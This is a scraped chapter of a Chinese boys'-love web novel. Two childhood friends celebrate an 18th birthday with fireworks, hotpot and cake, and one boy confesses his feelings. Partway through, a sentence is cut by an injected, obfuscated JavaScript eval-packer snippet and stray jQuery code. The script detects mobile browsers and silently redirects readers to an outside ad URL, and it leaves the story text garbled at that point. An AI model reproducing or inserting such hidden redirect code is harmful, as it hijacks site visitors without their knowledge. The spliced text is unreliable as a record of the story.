27.第 27 章

作品:《直男竹马,但我老婆

    烟花在晚上七点准时升起,绚烂的烟花噼里啪啦升到半空,砰一声炸开,而后簌簌往下掉。


    倒映在河面,顿时多了几分梦幻。


    严妄看了眼时间,“快去占位置啊,再不拍照,等会儿就不放了。”


    扯了扯纹丝不动的骆危楼,“快去,站中间。”


    孙雯宁对拍照一向积极,拉着罗恬先去站好,又招呼周戈和赵不凡。


    四个人默契地留出了中间位置,刚好够他俩站。


    严妄左右瞥着人群,琢磨请谁帮忙会比较好。


    “小哥哥,你们是要拍照吗?我帮你们拍好了。”一个女生主动问。


    严妄仿佛看到了救星,把手机塞给对方后,拉着骆危楼迅速站到空出的位置。


    “小姐姐,麻烦多拍几张,谢谢啊!”


    说完扭头看骆危楼,“生日合照,能不能笑一个?”


    他看到骆危楼嘴唇动了动,但刚好后面烟花炸开,声音被盖过去,什么都没听清。


    严妄想问,帮忙拍照的女生喊他们看镜头,又顾不上问了。


    拍完照,严妄去拿手机,一边道谢一边看照片。


    不知道是不是他们太上镜,还是后面烟花很衬人,拍的几张照片都挺出片的。


    “照片发群里啊!”孙雯宁扫了一眼,强烈要求,“今天的妆没白花。”


    严妄咔咔挑了几张发群里,然后手机一关,“走,去吃饭!”


    骆危楼嗯了声,听从他安排。


    六个人打一辆车肯定装不下,正好分成两辆车,一边三个,坐着还宽敞。


    严妄把地址发群里,让先上车的孙雯宁他们到地方直接报电话。


    周戈被残忍抛下,站在寒风里,看一眼骆危楼,又看一眼严妄,觉得自己怪多余的。


    一个是寿星,一个是寿星他发小,而他呢?


    没人在意。


    骆危楼点开手机,保存了照片。


    严妄正把照片发给江杉,还显摆了两句,今天骆危楼生日,他给安排得特别好。


    肩膀被拍了一下,他听到骆危楼说。


    “上车了。”


    严妄哦了声,自然坐进“周戈,你坐副驾。”


    周戈早习惯了,但凡骆危楼在,严妄身边的位置就是他的。


    周戈拉开副驾的门,“遵命,您二位赶紧上车,我可快冻死了。”


    严妄对他龇牙,先坐进车里,骆危楼跟着上了车。


    -


    晚饭选的是一家有包间的火锅店,不仅可以吃火锅,还有冰淇淋、甜品随便选。


    而且,包间里还能唱歌。


    饿了一下午的几个人,菜刚上,进锅里涮了一圈,也不知道熟没熟就往碗里捞。


    筷子伸慢一点,都捞不着。


    等吃饱喝足发饭晕时,在放的什么歌早没人在意,连孙雯宁都懒得开嗓,只想歇着。


    周戈和赵不凡坐了会,消化得快,又喝了点啤酒,一人一个话筒,坐在沙发上鬼哭狼嚎的,不知道在唱什么。


    孙雯宁被吵得拿抱枕砸他们,罗恬干脆戴上耳机装聋。


    骆危楼在外面接了个电话,回来后扫了一圈,目光落在角落的严妄身上,径直走过去。


    坐下后,抬手摸了摸他额头,“醉了?”


    严妄喝得不多,奈何酒量感人,加上吃了不少,比平时还晕乎。


    听到骆危楼说话,模模糊糊的,脑袋转过去,“……你说什么?”


    骆危楼:“……”


    不仅醉了,听力还不行。


    包间里吵吵嚷嚷的,两个女生还好,都没醉。


    至于周戈和赵不凡,醉了比不醉还精神。


    他看了眼时间,已经九点半,不算早了。


    骆危楼轻轻拍下严妄的脸,“要不要回家?”


    严妄脑袋往他肩上一砸,“不行,还没有吹蛋糕、唱生日歌,我买了个大蛋糕。”


    多大来着?反正比他脑袋大。


    骆危楼怔住,耐心问:“在服务员那里吗?”


    严妄点头,然后又摇头,“是神秘惊喜,不能告诉你。”


    旁边孙雯宁竖起耳朵偷听半天,终于听到一两句,“蛋糕?要不要我去拿?”


    她旁边的罗恬也点头。


    “应该是让服务员卡着时间送来,你去拿下吧。”骆危楼拉着严妄胳膊,扶他坐好。


    “时间不早,吃完都回家。”


    周戈搭着赵不凡肩膀,举着话筒,“学神,生日快乐啊!”


    声音响得严妄睁了睁眼,猛地坐直,茫然地看向周围。


    孙雯宁站起来,拍了周戈一下,“真没救了你。”


    她出去没一会儿,就跟着服务员一块把蛋糕拿了进来。


    知道人不多,所以严妄买的是一个六寸蛋糕。


    数字十八的蜡烛插在正中间。


    服务员点了蜡烛就出去,其他人围过来,还颇有气氛地关了顶灯。


    严妄甩了甩头,站在骆危楼旁边,拉着他胳膊,“快点,吹蜡烛之前要许愿。”


    骆危楼从小成绩好,习惯了被人注视。


    但每次过生日的时候,周围人目光落在他身上,他还是不太习惯。


    哪怕是朋友、亲人。


    周戈起哄,“学神快点许愿,咱们市的高考状元就是你了。”


    赵不凡:“这种愿望不用许也能实现的吧。”


    罗恬:“不如许身体健康,早日暴富。”


    周戈:“豆妹,你财迷啊!”


    只有严妄和孙雯宁没催,严妄是有点不清醒,孙雯宁是心里藏着一件事,憋得慌。


    她目光在骆危楼和严妄身上扫来扫去。


    “嗳,骆危楼,你要不许一个特别想实现的愿望吧,别说出来。”孙雯宁忽然低声说:“人家不是说,说出来的不灵。”


    严妄被酒劲熏得晕乎,但又不完全醉。


    一听来了劲,立即附和,“你快点许愿,别说出来啊,不然就不灵了。”


    骆危楼看着大家,笑了一下,难得地信了一回。


    他闭上眼,双手握在一起,很认真地许愿。


    其他人期待地等着他睁开眼,再一起吹蜡烛。


    骆危楼睁开眼时,第一眼是严妄期待的脸,然后是其他朋友的眼神。


    “许完了。”


    “谢谢。”


    “生日快乐!”


    “客气什么!都是朋友!”


    说完大家一起吹了蜡烛,把蛋糕一人一块分了。


    闹闹腾腾到了快十点,才终于站到路边打车,准备各自回家。


    周戈和赵不凡离得远点,又是一个方向,打了一台车回去。


    罗恬跟孙雯宁回家住一晚,他们四个人正好能打一辆车。罗恬坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15059238|162243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前面,孙雯宁陪他俩坐后排。


    回去路上,严妄清醒了不少,但困,靠着骆危楼肩膀不说话。


    骆危楼由着他,还给他扯了扯身上外套。


    坐旁边的孙雯宁抠着手机,憋了一肚子疑问想问,但又怕问出口了,更麻烦。


    直到车停在小区门口,他们四个下车进小区,要分开时,孙雯宁忍不住喊了声骆危楼。


    骆危楼拉着严妄,回头看她,“怎么了?”


    孙雯宁抿唇,手心都是汗,她也不知道对不对,但她比谁都重视这两个朋友。


    “嗳,要是哪天你有事的话,可以问我借钱。”


    骆危楼一愣,连严妄和罗恬都没明白孙雯宁怎么了。


    毕竟骆危楼看起来不像是会缺钱的人,更别说跟人借钱了。


    严妄戳戳骆危楼胳膊,“孙雯宁是不是醉了?都开始说胡话。”


    骆危楼眼神变了变,再看向孙雯宁时,忽然什么都明白了。


    他其实也没藏,他和严妄从小相处就这样,没谁会多想,就像不会有人觉得他们俩睡一个房间有什么不对。


    女孩子到底是女孩子,心思比其他人细。


    更别说对方是孙雯宁了。


    “要是有那天,就问你借。”


    “行,我还是有点存款的,毕竟我可是大学就要独立生活的人。”


    孙雯宁松了口气,拉着罗恬跟他们挥手,转身往家走。


    严妄一头雾水,不过站在原地目送她们俩离开,才扯扯骆危楼,“回家睡觉了,我好困啊。”


    骆危楼不太清楚孙雯宁是什么时候捋明白的,但没恶意就好。


    听严妄嘀嘀咕咕念叨,他收回心思,“回吧。”


    从小区门口到他们那一栋,要走几分钟才到。


    路上严妄软绵绵的,几乎是被骆危楼拖着走到家。


    一进门,严妄就迫不及待随便擦了擦脸,刷牙后扑到床上,衣服都没换。


    骆危楼在他后面,收拾了下,进房间时按开灯。


    视线扫过严妄的脸,走过轻轻拍了拍,“换衣服再睡。”


    严妄抓住他手,闭着眼睛,“你好烦啊,怎么什么都管?我收情书你也管,我睡觉你也管,是不是连我吃饭你都要管啊?”


    嘟嘟囔囔的,话还不少。


    骆危楼弯腰站着,“不让管吗?”


    啤酒他也喝了,这会儿酒劲儿比刚才强烈,人也不算完全清醒。


    “两口子才什么都管呢,你——”严妄蹭了蹭被子,“你不是我哥吗?哥——”


    可是,他不喜欢叫骆危楼哥。


    骆危楼感觉得到严妄的呼吸,他想起那封情书,还有那天被打断的话。


    “严妄,我不想做你哥了。”


    他闭了闭眼,低下头,“我喜欢你,所以做不成你哥。”


    感情发生了质变,不再是从小一起长大的纯粹亲情。


    是喜欢,是爱。


    是经年岁月累积后产生的不可逆反应,情感分子里有占有、欲望、迟疑和爱惜。


    骆危楼不太清楚是从什么时候开始的,但他现在很清楚地意识到,他想亲严妄。


    严妄眼睛瞪大,直直地看着骆危楼。


    原来,骆危楼喜欢他。


    明亮的房间里,两双眼睛映出彼此微红的脸。


    眼底的感情清晰分明,骗不了人。